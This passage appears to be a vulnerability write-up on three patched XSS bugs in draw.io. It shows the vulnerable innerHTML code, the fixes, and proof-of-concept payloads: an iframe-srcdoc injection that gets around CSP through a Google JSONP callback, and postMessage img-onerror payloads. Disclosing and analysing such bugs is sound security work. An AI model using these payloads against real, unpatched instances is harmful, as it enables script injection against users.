That's three XSS in the 2024 versions. Such versions are found along the way, but they are not mentioned anywhere.
In developer mode (parameter ?dev=1), there is no ID filter when you hover over a cell (github):
tip += ((tip.length > 0) ? '
' : '') + 'id=' + cell.id + '
';But the problem is that this mode adds a Content Security Policy (CSP):
script-src https://www.dropbox.com https://api.trello.com 'unsafe-eval' 'self' https://viewer.diagrams.net https://apis.google.com https://*.pusher.comTherefore, events (on*event*) do not work, only scripts from the specified domains.
But there is JSONP for this on apis.google.com/complete/search?client=chrome&q=alert(origin)//&callback=setTimeout
And since innerHTML is used, you need to put script[src] in iframe[srcdoc] (note about this) to inject the load.
In total, we have something like this:
<mxCell id="<iframe srcdoc='<script src="https://apis.google.com/complete/search?client=chrome&q=alert(origin)//&callback=setTimeout"></script>'></iframe>" /> Fixed in version v24.7.16: tip += ((tip.length > 0) ? '
' : '') + 'id=' + mxUtils.htmlEntities(cell.id) + '
';Next, similar XSSs that do not require any user action.
If you open draw.io with the parameters ?client=1&proto=json, you can interact with this window using messages
When data.action == 'dialog' and messageKey exist, there are no transformations in the entity:
(data.messageKey != null) ? mxResources.get(data.messageKey) : mxUtils.htmlEntities(data.message)mxResources.get returns the current value if no data is found for this key. Next, this message is displayed through the ErrorDialog function, which uses the bare innerHTML (github):
p2.innerHTML = message;So we send our payload to this window:
postMessage('{"action":"dialog","titleKey":"ALERT","messageKey":"<img/src/onerror=alert(origin)>"}','*')Fixed in version v23.1.5:
p2.innerHTML = Graph.sanitizeHtml(message);It's almost the same as the previous XSS, but the message is different: data.action == 'spinner'.
There are no transformations for any value:
(data.messageKey != null) ? mxResources.get(data.messageKey) : data.message;And in the spinner display, the same innerHTML without filters (github):
status.innerHTML = label;In total, we have the following messages:
postMessage('{"action":"spinner","messageKey":"<img/src/onerror=alert(origin)>"}','*')\npostMessage('{"action":"spinner","message":"<img/src/onerror=alert(origin)>"}','*')Fixed in versionv23.1.0:
status.innerHTML = mxUtils.htmlEntities(label);